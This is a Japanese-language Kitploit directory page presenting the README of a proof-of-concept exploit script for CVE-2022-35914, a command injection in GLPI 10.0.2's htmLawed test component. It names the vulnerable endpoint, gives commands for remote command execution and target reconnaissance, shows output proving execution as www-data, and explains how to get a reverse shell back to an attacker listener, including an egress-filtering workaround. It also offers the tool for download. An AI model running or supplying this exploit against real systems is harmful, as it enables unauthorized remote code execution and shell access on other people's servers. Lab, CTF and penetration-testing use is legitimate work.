Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-35914-RCE — CVE-2022-35914 用 PoC エクスプロイト — GLPI v.10.0.2 htmLawed のコマンドインジェクション、コマンド実行、およびリバースシェルサポート | Kitploit
ツール/GitHubGitHub/cyb3rk0ala/cve-2022-35914-rce
エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツール
GitHubcyb3rk0ala/cve-2022-35914-rce

CVE-2022-35914-RCE

CVE-2022-35914 用 PoC エクスプロイト — GLPI v.10.0.2 htmLawed のコマンドインジェクション、コマンド実行、およびリバースシェルサポート

リポジトリを見る
9日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-35914 by cyb3rk0ala

脆弱な GLPI インストール環境の htmLawed テストコンポーネントに影響するコマンドインジェクション脆弱性 CVE-2022-35914 の PoC です。

このツールは、脆弱なエンドポイントを介したコマンド実行を実現し、認可されたラボ環境向けのオプションのコールバック機能を備えています。

免責事項: このプロジェクトは、認可されたセキュリティテスト、CTF、OffSec/PG ラボ、および教育目的のみを対象としています。明示的な許可なくシステムに対して使用しないでください。


脆弱性

フィールド詳細
CVECVE-2022-35914
ソフトウェアGLPI
コンポーネントhtmLawed
脆弱なエンドポイント/vendor/htmlawed/htmlawed/htmLawedTest.php

影響を受けるインストール環境では、この脆弱なコンポーネントが細工されたパラメータを介してコマンド実行を許容する可能性があります。


機能

  • コマンド実行
  • ターゲット URL の自動構築
  • 設定可能なターゲット HTTP ポート
  • セッション/トークンの自動取得
  • コマンド出力の抽出
  • ターゲットの確認
  • カスタム User-Agent のサポート
  • オプションのコールバック設定
  • 色付きのターミナル出力
  • Python 3 CLI インターフェース

要件

Python 3 と必要な依存関係が必要です。

Kali Linux

root@kitploit:~
sudo apt install python3-requests python3-bs4

仮想環境

root@kitploit:~
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

インストール

リポジトリをクローンします:

root@kitploit:~
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914

スクリプトを実行可能にします:

root@kitploit:~
chmod +x glpi.py

使用方法

ヘルプ

root@kitploit:~
python3 glpi.py -h

基本的なコマンド実行

root@kitploit:~
python3 glpi.py -u TARGET_IP -c 'id'

出力例:

root@kitploit:~
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php

========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================

コマンド実行

-c オプションは、実行するコマンドを指定します。

現在のユーザー

root@kitploit:~
python3 glpi.py -u TARGET_IP -c 'whoami'

現在の権限

root@kitploit:~
python3 glpi.py -u TARGET_IP -c 'id'

オペレーティングシステム

root@kitploit:~
python3 glpi.py -u TARGET_IP -c 'uname -a'

利用可能なユーティリティ

root@kitploit:~
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

オプション


ターゲットポート

-p / --rport オプションは、脆弱な GLPI Web サービスが稼働しているポートを指定します。

デフォルト:

root@kitploit:~
80

例:

root@kitploit:~
python3 glpi.py -u TARGET_IP -p 80 -c 'id'

ターゲットの確認

--check を使用すると、コマンドを実行せずに htmLawed テストページが利用可能かどうかを確認できます:

root@kitploit:~
python3 glpi.py -u TARGET_IP --check

カスタム User-Agent

カスタム HTTP User-Agent は次のように指定できます:

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    --user-agent 'Mozilla/5.0'

リバースシェル

このスクリプトはオプションのコールバックパラメータをサポートしています:

root@kitploit:~
-l   Callback/listener IP
-lp  Callback/listener port

例:

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

この例では:

root@kitploit:~
Target:   TARGET_IP:80
Callback: LHOST:80

2 つのポートはそれぞれ目的が異なります:

root@kitploit:~
-p   = Target GLPI HTTP port
-lp  = Callback/listener port

OffSec ラボに関するメモ

OffSec ラボ環境でのテスト中、コールバックは TCP ポート 80 経由で正常に動作しました。

4444 などの他のコールバックポートは、ラボのネットワーク構成や egress フィルタリングによってはタイムアウトする可能性があります。

テストした環境では:

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

リスナーは、TCP ポート 80 を使用して Kali VPN インターフェース上に設定されました。

重要: コールバックにポート 80 を使用することは環境固有の観察結果であり、CVE-2022-35914 の要件ではありません。


トラブルシューティング

コマンド実行は成功するがコールバックが機能しない

まずコマンド実行を確認します:

root@kitploit:~
python3 glpi.py -u TARGET_IP -c 'id'

必要なユーティリティが存在するか確認します:

root@kitploit:~
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

コマンド実行は成功するがコールバックがタイムアウトする場合は、VPN ルーティングとコールバックポートを確認してください。


コマンド出力が正しく表示されない

コマンド出力の解析に失敗した場合、完全な HTTP レスポンスは次の場所に保存されます:

root@kitploit:~
/tmp/glpi.html

次のコマンドで確認します:

root@kitploit:~
less /tmp/glpi.html

または:

root@kitploit:~
mousepad /tmp/glpi.html

ワークフロー例

1. ターゲットを確認する

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    --check

2. コマンド実行を確認する

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    -c 'id'

3. 現在のユーザーを特定する

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    -c 'whoami'

4. 利用可能なツールを確認する

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    -c 'which nc'

5. コールバックを設定する

テストした OffSec ラボ環境の場合:

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

免責事項

このプロジェクトは、教育および認可されたセキュリティテストの目的のみで提供されます。

著者は、本ソフトウェアに関連する誤用、損害、不正アクセス、または違法行為について一切の責任を負いません。

システムをテストする前に、必ず明示的な許可を取得してください。


著者

cyb3rk0ala


CVE

CVE-2022-35914


プロジェクト

CVE-2022-35914 by cyb3rk0ala

ツールをダウンロード
オプション説明デフォルト
-u, --urlターゲット URL または IP アドレス必須
-c, --cmd実行するコマンドid
--checkコマンドを実行せずにターゲットを確認する無効
--user-agentカスタム HTTP User-Agentデフォルト
-p, --rportターゲット HTTP サービスのポート80
-l, --lhostコールバック/リスナー IP アドレス—
-lp, --lportコールバック/リスナーポート—